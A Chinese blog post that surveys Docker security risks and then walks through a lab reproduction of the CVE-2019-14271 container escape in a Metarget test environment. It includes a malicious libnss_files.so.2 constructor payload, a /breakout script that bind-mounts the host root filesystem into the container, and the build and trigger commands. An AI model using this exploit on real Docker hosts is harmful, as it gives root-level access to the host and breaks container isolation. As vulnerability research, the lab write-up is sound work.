容器安全风险and容器逃逸漏洞实践
本文博客地址:https://security.blog.csdn.net/article/details/128966455
一、Docker存在的安全风险
1.1、Docker镜像存在的风险
不安全的第三方组件:用户自己的代码依赖若干开源组件,这些开源组件本身又有着复杂的依赖树,甚至最终打包好的业务镜像中还包含完全用不到的开源组件。这导致许多开发者可能根本不知道自己的镜像中到底包含多少以及哪些组件。包含的组件越多,可能存在的漏洞就越多,大量引入第三方组件的同时也大量引入了风险。
恶意镜像:一些公共镜像仓库中可能存在一些恶意镜像,如果使用了这些镜像或把这些镜像作为基础镜像,就会产生相应的风险。
敏感信息泄露:为了开发、调试方便,开发者可能会将敏感信息如数据库密码、证书和私钥等内容直接写到代码中,或者以配置文件形式存放。构建镜像时,这些敏感内容被一并打包进镜像,甚至上传到公开的镜像仓库,从而造成敏感数据泄露。
1.2、Docker容器存在的风险
安全漏洞:容器应用代码也会存在SQL注入、XSS等安全漏洞,容器默认情况下连接到由docker0网桥提供的子网中。如果在启动时配置了端口映射,容器就能够对外提供服务。在这种情况下,这些安全漏洞就有可能被外部攻击者利用。
不受限制的资源共享:在默认情况下,Docker并不会对容器的资源使用进行限制。也就是说,默认配置启动的容器理论上能够无限使用宿主机的CPU、内存、硬盘等资源。如果容器使用了过多资源,就会对宿主机及宿主机上的其他容器造成影响,甚至形成资源耗尽型攻击。
隔离性风险:不安全的配置和挂载也可能容器的隔离性将被打破,进而导致安全风险。
1.3、其他风险
容器网络的风险:容器内的root用户虽然被Docker禁用了许多权限(Capabilities机制),但它目前依然具有CAP_NET_RAW权限,具备构造并发送ICMP、ARP等报文的能力。因此,ARP欺骗、DNS劫持等中间人攻击是可能发生在容器网络的。
管理接口的风险:Docker守护进程主要监听两种形式的Socket:UNIX socket和TCP socket,接口如果配置不当,攻击者可能会利用相应的权限实现容器逃逸,实现对目标主机的控制。
软件漏洞的风险:任何软件都存在漏洞。
1.4、容器逃逸
不安全配置导致的容器逃逸:用户可以通过修改容器环境配置或在运行容器时指定参数来调整约束,如果用户为容器设置了某些危险的配置参数,就为攻击者提供了一定程度的逃逸可能性。
不安全挂载导致的容器逃逸:为了方便宿主机与虚拟机进行数据交换,几乎所有主流虚拟机解决方案都会提供挂载宿主机目录到虚拟机的功能。容器同样如此。然而,将宿主机上的敏感文件或目录挂载到容器内部,尤其是那些不完全受控的容器内部,往往会带来安全问题。
相关程序漏洞导致的容器逃逸:这里的相关程序漏洞,指的是那些参与到容器生态中的服务端、客户端程序自身存在的漏洞。
内核漏洞导致的容器逃逸:从操作系统层面来看,容器进程只是一种受到各种安全机制约束的进程,因此从攻防两端来看,容器逃逸都遵循传统的权限提升流程。攻击者可以凭借此特点拓展容器逃逸的思路,一旦有新的内核漏洞产生,就可以考虑它是否能够用于容器逃逸。
二、加载不受信任的动态链接库漏洞实践(CVE-2019-14271)
2.1、背景
在19.03.x及若干非正式版本的Docker中,docker cp命令依赖的docker-tar组件会加载容器内部的nsswitch动态链接库,但自身却并未被容器化,攻击者可通过劫持容器内的nsswitch动态链接库来实现对宿主机进程的代码注入,获得宿主机上root权限的代码执行能力。
该漏洞的核心问题在于高权限进程自身并未容器化,却加载了不可控的容器内部的动态链接库。一旦攻击者控制了容器,就可以通过修改容器内动态链接库来实现在宿主机上以root权限执行任意代码。
2.2、准备工作
1、安装Ubuntu-18操作系统,这个就不再细说了
2、安装Docker先前操作:
# 添加索引
sudo apt update
sudo apt install apt-transport-https ca-certificates curl gnupg-agent software-properties-common# 导入源仓库的GPG key
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -# 添加Docker APT软件源
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"# 查看docker版本
apt list -a docker-ce# 安装指定版本
apt install docker-ce=5:19.03.3~3-0~ubuntu-bionic docker-ce-cli=5:19.03.3~3-0~ubuntu-bionic containerd.io
3、添加Docker源:
cd /etc/docker
vim daemon.json
--------------------------------------------------------------------------------------------------
{"registry-mirrors" : ["https://registry.docker-cn.com","http://hub-mirror.c.163.com","https://docker.mirrors.ustc.edu.cn","https://cr.console.aliyun.com","https://mirror.ccs.tencentyun.com"]
}
--------------------------------------------------------------------------------------------------# 重启Docker让服务生效
systemctl daemon-reload
systemctl restart docker.service
4、安装M4:
wget https://ftp.gnu.org/gnu/m4/m4-1.4.19.tar.gz
tar -zxvf m4-1.4.19.tar.gz
cd m4-1.4.19
./configure
make
make install
5、安装bison:
wget http://ftp.gnu.org/gnu/bison/bison-3.8.2.tar.gz
tar -zxvf bison-3.8.2.tar.gz
cd ../bison-3.8.2
make
make install
ln -s /usr/bin/bison /usr/local/bin/bison
2.3、安装靶机环境
1、安装环境
git clone https://github.com/Metarget/metarget.git
cd metarget/
pip3 install -r requirements.txt
2、安装该漏洞的Docker
./metarget cnv install cve-2019-14271
如果不报错,则表明安装成功了,如下所示:

2.4、确定目标
运行一个容器:
docker run -itd --name=14271 ubuntu bash
拿到容器的绝对路径,然后对其进行监控:

由上图可知,返回的workdir数据为:
workdir=/var/lib/docker/overlay2/7a25294970ebd49a4f3b319412445195bb788b9a8a408ff01b5e2ca056814a08/work
# 那么容器的根目录在宿主机上的绝对路径为:
/var/lib/docker/overlay2/7a25294970ebd49a4f3b319412445195bb788b9a8a408ff01b5e2ca056814a08/merged
另起一个终端,使用inotifywait工具,在宿主机上监听容器文件系统中lib目录的事件:
apt install inotify-tools
inotifywait -mr /var/lib/docker/overlay2/7a25294970ebd49a4f3b319412445195bb788b9a8a408ff01b5e2ca056814a08/merged/lib

执行docker cp命令:
docker cp 14271:/etc/passwd ./
此时在监控终端上就能看到inotifywait的输出:

可以看到,在这次复制操作中,docker-tar加载了libnss_files.so.2,接下来,我们以libnss_files.so.2为目标,构造一个恶意的动态链接库来替换它。
2.5、构建动态链接库
由于libnss_files.so.2在Glibc中,因此需要先下载Glibc库并解压:
wget https://ftp.gnu.org/gnu/glibc/glibc-2.27.tar.bz2
tar -vxjf glibc-2.27.tar.bz2
注释掉glibc-2.27/Makeconfig文件中的一行警告设置,避免加入恶意payload后编译失败(第823行):
vim glibc-2.27/Makeconfig
---------------------------------------------------------------------------
# gccwarn-c = -Wstrict-prototypes -Wold-style-definition
在glibc-2.27/nss/nss_files/目录下任意源码文件中添加恶意payload,把真正具有威胁的操作写入容器内/breakout脚本文件中,让动态链接库里的payload去执行/breakout脚本文件即可。
payload代码:
//容器内部原始libnss_files.so.2文件的备份位置
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
//恶意libnss_files.so.2的位置
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
//带有constructor属性的函数会在动态链接库被加载时自动执行
__attribute__ ((constructor)) void run_at_link(void) {char * argv_break[2];//判断当前是否是容器外的高权限进程(也就是docker-tar)//如果是容器内进程,则不做任何操作if (!is_priviliged())return;//攻击只需要执行一次即可//用备份的原始libnss_files.so.2文件替换恶意libnss_files.so.2文件//避免后续的docker cp操作持续加载恶意libnss_files.so.2文件rename(ORIGINAL_LIBNSS, LIBNSS_PATH);//以docker-tar进程的身份创建新进程,执行容器内/breakout脚本if (!fork()) {//Child runs breakoutargv_break[0] = strdup("/breakout");argv_break[1] = NULL;execve("/breakout", argv_break, NULL);}elsewait(NULL); //Wait for childreturn;
}
恶意libnss_files.so.2文件被加载时,首先会判断当前加载进程是否为docker-tar进程,如果是,则以当前进程的身份执行/breakout脚本。由于docker-tar已经执行了chroot命令,/breakout路径指向的是容器内根目录下的脚本,但由于docker-tar并未做其他命名空间级别上的隔离,因此/breakout会以docker-tar自身的root权限在宿主机命名空间内执行。
执行编译:
export LIBRARY_PATH=/usr/lib/x86_64-linux-gnu/
mkdir glibc-build
cd glibc-build
# --disable-werror 避免高版本gcc把警告当成错误
# --disable-profile 不要碰配置信息
../glibc-2.27/configure --prefix=/usr/local/glibc-2.27 --disable-profile --disable-werror
# -i是为了忽略错误
make -i
编译结束后,glibc-build/nss/libnss_files.so就是我们需要的恶意动态链接库文件。
2.6、实现逃逸
现在,我们已经有了恶意的动态链接库文件libnss_files.so。在存在漏洞的Docker环境中,如果用户执行了docker cp,后台的docker-tar进程在执行了chroot命令后一旦加载恶意文件libnss_files.so,那么容器内的/breakout脚本就会以docker-tar身份执行。
由于docker-tar已经切换了根目录,但还没有加入容器的命名空间,我们考虑在/breakout中执行挂载操作,由docker-tar将宿主机根目录挂载到容器内的/host_fs路径——这样一来,我们就实现了文件系统层面的容器逃逸。
(宿主机)创建breakout脚本文件:
vim breakout
----------------------------------------------------------------------------------------------------
#!/bin/bash
# /breakout的内容
# 首先确保容器内/host_fs路径空闲可用
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
# 挂载宿主机的procfs伪文件系统
mount -t proc none /proc
# 挂载宿主机根目录到/host_fs
cd /proc/1/root
mount --bind . /host_fs
创建一个容器:
docker run -itd --name=victim ubuntu
将breakout脚本放入victim容器根目录:
docker cp breakout victim:/
(宿主机)查找libnss_files.so.2符号链接指向的库文件:
运行:
readlink -f /home/ubuntu/glibc-build/nss/libnss_files.so.2
返回:
/usr/lib/x86_64-linux-gnu/libnss_files.so
(该文件为链接文件,需要继续溯源)
-----------------------------------------------------------------------------------------------------
运行:
readlink -f /usr/lib/x86_64-linux-gnu/libnss_files.so
返回:
/lib/x86_64-linux-gnu/libnss_files.so.2
(该文件为链接文件,需要继续溯源)
-----------------------------------------------------------------------------------------------------
运行:
readlink -f /lib/x86_64-linux-gnu/libnss_files.so.2
返回:
/lib/x86_64-linux-gnu/libnss_files-2.27.so
(该文件为真实文件)
(宿主机)将回显的这个文件(/lib/x86_64-linux-gnu/libnss_files-2.27.so)移动到容器的根目录,并重命名:
# 复制到容器根目录
docker cp /lib/x86_64-linux-gnu/libnss_files-2.27.so victim:/
# 进入容器
docker exec -it victim bash
# 重命名文件
mv libnss_files-2.27.so original_libnss_files.so.2
将编译后产生恶意文件放到重命名为libnss_files.so.2,放在容器内/lib/x86_64-linux-gnu目录下:
# 重命名
mv libnss_files.so libnss_files.so.2
# 移动
docker cp libnss_files.so.2 victim:/lib/x86_64-linux-gnu/
此处我们仅作为验证,因此也或者直接将前面开源靶机metarget的EXP文件传入即可,位置如下:
metarget/writeups_cnv/docker-cve-2019-14271/exp/libnss_files.so.2
模拟执行docker cp操作:
docker cp victim:/etc/passwd ./
执行后,漏洞被触发,我们进入容器进行验证:
# 进入容器
docker exec -it victim bash# 容器内部已经可以看到挂载的/host_fs
cat /host_fs/etc/hostname
可见已经实现了容器逃逸,显示了宿主机的hostname:

相关文章:
容器安全风险and容器逃逸漏洞实践
本文博客地址:https://security.blog.csdn.net/article/details/128966455 一、Docker存在的安全风险 1.1、Docker镜像存在的风险 不安全的第三方组件:用户自己的代码依赖若干开源组件,这些开源组件本身又有着复杂的依赖树,甚至…...
2023年美赛B题-重新想象马赛马拉
背景 肯尼亚的野生动物保护区最初主要是为了保护野生动物和其他自然资源资源。肯尼亚议会于2013年通过了《野生动物保护和管理法》提供更公平的资源共享,并允许替代的、以社区为基础的管理工作[1]。此后,肯尼亚增加了修正案,以解决立法中的空…...
Docker常用命令总结
目录 一、帮助启动类命令 (1)启动docker (2)停止docker (3)重启docker (4)查看docker (5)设置开机自启 (6)查看docker概要信息…...
mac环境,安装NMP遇到的问题
一 背景 项目开发中,公司项目需要使用本地的环境运行,主要是php这块的业务。没有使用docker来处理,重新手动撸了一遍。记录下其中遇到的问题; 二 遇到的问题 2.1 Nginx的问题 brew install nginx后,启动nginx,报错如下:nginx: [emerg] no "ssl_certificate" …...
Web Worker 与 SharedWorker 的介绍和使用
目录一、Web Worker1 Web Worker 是什么2 Web Worker 使用3 简单示例二、SharedWorker2.1 SharedWorker 是什么2.2 SharedWorker 的使用方式2.3 多页面数据共享的例子一、Web Worker 1 Web Worker 是什么 Web Worker是 HTML5 标准的一部分,这一规范定义了一套 API…...
React:Redux和Flux
React,用来构建用户界面,它有三个特点: 作为view,构建上用户界面虚拟DOM,目的就是高性能DOM渲染【diff算法】、组件化、多端同构单向数据流,是一种自上而下的渲染方式。Flux 在一个React应用中,UI部分是由无数个组件嵌套构成的,组件和组件之间就存在层级关系,也就是父…...
TypeScript 学习之Class
基本使用 class Greeter {// 属性greeting: string;// 构造函数constructor(message: string) {// 用this 访问类的属性this.greeting message;}// 方法greet() {return Hello, this.greeting;} } // 实例化 let greeter new Greeter(World);声明了一个Greeter类ÿ…...
doris - 数仓 拉链表 按天全量打宽表性能优化
数仓 拉链表 按天全量打宽性能优化现状描述优化现状描述 1、业务历史数据可以变更 2、拉链表按天打宽 3、拉链表模型分区字段设计不合理,通用的过滤字段没有作为分区分桶字段 4、拉链表表数据量略大、模型数据分区不合理和服务器资源限制,计算任务执行超…...
服务器虚拟化及优势
服务器虚拟化是从一台物理服务器创建多个服务器实例的过程。每个服务器实例代表一个隔离的虚拟环境。在每个虚拟环境中,都可以运行单独的操作系统。 1.更有效的资源调配 使用虚拟化技术大大节省了所占用的空间,减少了数据中心里服务器和相关硬件的数量。…...
华为ensp模拟校园网/企业网实例(同城灾备及异地备份中心保证网络安全)
文章简介:本文用华为ensp对企业网络进行了规划和模拟,也同样适用于校园、医院等场景。如有需要可联系作者,可以根据定制化需求做修改。作者简介:网络工程师,希望能认识更多的小伙伴一起交流,私信必回。一、…...
git命令篇(持续更新中)
首先介绍这个网页:https://learngitbranching.js.org/?localezh_CN --提交命令 git commit --创建分支 git branch <分支名> --切换分支 git checkout <分支名> --合并分支 (合并到主分支去,把我合并到谁的身上去) 自己写的分支合并到主线…...
用记事本实现“HelloWorld”输出
一、在任意文件夹中创建一个新的文本文档文件并写入以下代码 public class Hello{public static void main (String[] args){System.out.print("Hello,World!");} } 二、修改文件名称及文件类型为 Hello.java 特别注意:文件命名必须与代码中类的名称相同…...
Python基础1
1. 注释 单行注释:以#开头。一般建议注释和内容用空格隔开。 多行注释:以一对三个双引号括起来的内容是注释。“““示例注释”””。 2. 数据类型 验证数据类型的方法:type(被查看类型的数据)。 注意:…...
4.2 双点双向路由重发布
1. 实验目的 熟悉双点双向路由重发布的应用场景掌握双点双向路由重发布的配置方法2. 实验拓扑 双点双向路由重发布如图4-6所示: 图4-6:双点双向路由重发布 3. 实验步骤 IP地址的配置R1的配置 <Huawei>system-v…...
AcWing《蓝桥杯集训·每日一题》—— 3768 字符串删减
AcWing《蓝桥杯集训每日一题》—— 3768. 字符串删减 文章目录AcWing《蓝桥杯集训每日一题》—— 3768. 字符串删减一、题目二、解题思路三、代码实现本次博客我是通过Notion软件写的,转md文件可能不太美观,大家可以去我的博客中查看:北天的 …...
第五天笔记
1. 简述图片验证码使用流程? 1.前段生成UUID随机值,作为GET请求参数 2.后端试图进行判断,调用工具类来生成图片验证码和内容 3.将验证码内容使用redis保存到本地,前端传入的uuid作为key, 4.在前段输入获取到的图片验证码,想后端发…...
如何使用ArcGIS进行地理配准
1.概述 对于GIS数据而言,坐标信息是灵魂,有了坐标信息之后才能和别的数据结合使用,之前有介绍过矢量数据定义坐标信息的方法,针对栅格图,这里为大家介绍一下通过地理配准增加坐标信息的方法,希望能对你有所…...
【java基础知识】
Java中的基本数据类型是什么? byte:1字节,有符号,表示整数,范围为-128到127。short:2字节,有符号,表示整数,范围为-32768到32767。int:4字节,有符…...
Java提供了哪些IO方式? NIO如何实现多路复用?
第11讲 | Java提供了哪些IO方式? NIO如何实现多路复用? IO 一直是软件开发中的核心部分之一,伴随着海量数据增长和分布式系统的发展,IO 扩展能力愈发重要。幸运的是,Java 平台 IO 机制经过不断完善,虽然在某…...
人的大脑遇事的思考解决过程
人遇到问题的思考解决过程,大概如下:1) 遇到问题;2) 首先,不是直接推理,而是用直觉在自己的知识模式库里搜索,有没有相似的模式或者相同的模式。3) 如果:3a)有…...
基于ASP.NET+ SQL Server实现(Web)医院信息管理系统
医院信息管理系统 1. 课程设计内容 在 visual studio 2017 平台上,开发一个“医院信息管理系统”Web 程序。 2. 课程设计目的 综合运用 c#.net 知识,在 vs 2017 平台上,进行 ASP.NET 应用程序和简易网站的开发;初步熟悉开发一…...
【网络安全产品大调研系列】2. 体验漏洞扫描
前言 2023 年漏洞扫描服务市场规模预计为 3.06(十亿美元)。漏洞扫描服务市场行业预计将从 2024 年的 3.48(十亿美元)增长到 2032 年的 9.54(十亿美元)。预测期内漏洞扫描服务市场 CAGR(增长率&…...
CocosCreator 之 JavaScript/TypeScript和Java的相互交互
引擎版本: 3.8.1 语言: JavaScript/TypeScript、C、Java 环境:Window 参考:Java原生反射机制 您好,我是鹤九日! 回顾 在上篇文章中:CocosCreator Android项目接入UnityAds 广告SDK。 我们简单讲…...
【JavaSE】绘图与事件入门学习笔记
-Java绘图坐标体系 坐标体系-介绍 坐标原点位于左上角,以像素为单位。 在Java坐标系中,第一个是x坐标,表示当前位置为水平方向,距离坐标原点x个像素;第二个是y坐标,表示当前位置为垂直方向,距离坐标原点y个像素。 坐标体系-像素 …...
鸿蒙DevEco Studio HarmonyOS 5跑酷小游戏实现指南
1. 项目概述 本跑酷小游戏基于鸿蒙HarmonyOS 5开发,使用DevEco Studio作为开发工具,采用Java语言实现,包含角色控制、障碍物生成和分数计算系统。 2. 项目结构 /src/main/java/com/example/runner/├── MainAbilitySlice.java // 主界…...
SQL慢可能是触发了ring buffer
简介 最近在进行 postgresql 性能排查的时候,发现 PG 在某一个时间并行执行的 SQL 变得特别慢。最后通过监控监观察到并行发起得时间 buffers_alloc 就急速上升,且低水位伴随在整个慢 SQL,一直是 buferIO 的等待事件,此时也没有其他会话的争抢。SQL 虽然不是高效 SQL ,但…...
【JVM面试篇】高频八股汇总——类加载和类加载器
目录 1. 讲一下类加载过程? 2. Java创建对象的过程? 3. 对象的生命周期? 4. 类加载器有哪些? 5. 双亲委派模型的作用(好处)? 6. 讲一下类的加载和双亲委派原则? 7. 双亲委派模…...
【Android】Android 开发 ADB 常用指令
查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...
解决:Android studio 编译后报错\app\src\main\cpp\CMakeLists.txt‘ to exist
现象: android studio报错: [CXX1409] D:\GitLab\xxxxx\app.cxx\Debug\3f3w4y1i\arm64-v8a\android_gradle_build.json : expected buildFiles file ‘D:\GitLab\xxxxx\app\src\main\cpp\CMakeLists.txt’ to exist 解决: 不要动CMakeLists.…...
WPF八大法则:告别模态窗口卡顿
⚙️ 核心问题:阻塞式模态窗口的缺陷 原始代码中ShowDialog()会阻塞UI线程,导致后续逻辑无法执行: var result modalWindow.ShowDialog(); // 线程阻塞 ProcessResult(result); // 必须等待窗口关闭根本问题:…...
